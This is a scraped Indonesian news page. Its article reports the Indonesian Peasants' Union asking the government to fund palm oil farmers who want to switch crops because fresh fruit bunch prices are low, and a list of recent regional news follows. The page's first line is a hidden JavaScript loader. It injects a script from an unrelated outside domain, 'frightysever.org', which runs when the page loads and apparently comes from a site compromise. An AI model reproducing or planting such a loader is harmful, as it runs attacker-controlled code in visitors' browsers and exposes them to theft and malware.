(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Petani Minta Pemerintah Beri Dana untuk Konversi Lahan Sawit


JAKARTA, Serikat Petani Indonesia (SPI) meminta pemerintah untuk memberi dukungan dana guna membantu petani sawit yang ingin mengkonversi lahannya untuk tanaman non sawit. Permohonan dukungan dana disampaikan Ketua Umum Serikat Petani Indonesia (SPI) Henry Saragih terkait penurunan harga sawit yang terjadi belakangan ini.

Berdasarkan data yang dimilikinya, kini harga jual tandan buah segar (TBS) sawit masih belum menguntungkan petani. Di Riau harga TBS hanya berkisar Rp 600 sampai Rp 800 per kilogram. Di Asahan Sumatera Utara, harga TBS hanya berkisar  Rp 600 sampai Rp 900 per kilogram.

Henry mengatakan dengan harga rendah tersebut, petani terancam babak belur. Mereka bisa menderita kerugian karena harga minimal TBS harusnya berada di kisaran Rp1.200 per kilogram.

Henry mengatakan dukungan dana diperlukan demi memberikan pilihan kepada petani agar kerugian yang mereka derita tidak semakin dalam.  “Petani kita punya kapasitas untuk mengkonversinya, baik untuk jangka pendek atau jangka panjang. Kelapa sawit tua bisa ditebang, dalam waktu setahun bisa hasilkan jagung, pisang, ini untuk jangka pendek, dan butuh modal,” katanya seperti dikutip dari Antara, Selasa (18/12).

Presiden Joko Widodo beberapa waktu lalu meminta masyarakat yang selama ini berkebun sawit untuk beralih menanam komoditas lain. Permintaan ia sampaikan terkait penurunan harga kelapa sawit yang terus terjadi belakangan ini.

Henry mengatakan sebelum Jokowi mengeluarkan seruan tersebut, sudah banyak petani anggota serikatnya yang mengkonversi lahan sawit ke tanaman pangan. Upaya konversi tersebut dilakukan di daerah Kabupaten Padang Lawas, Sumatera Utara.

Petani di kawasan tersebut memilih untuk menanam padi di atas lahan sawit mereka. Selain untuk menanam padi, petani juga mengkonversi lahan perkebunan sawit mereka untuk peternakan sapi, kerbau atau kambing.(cel/ant)

Reporter:cel/ant
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.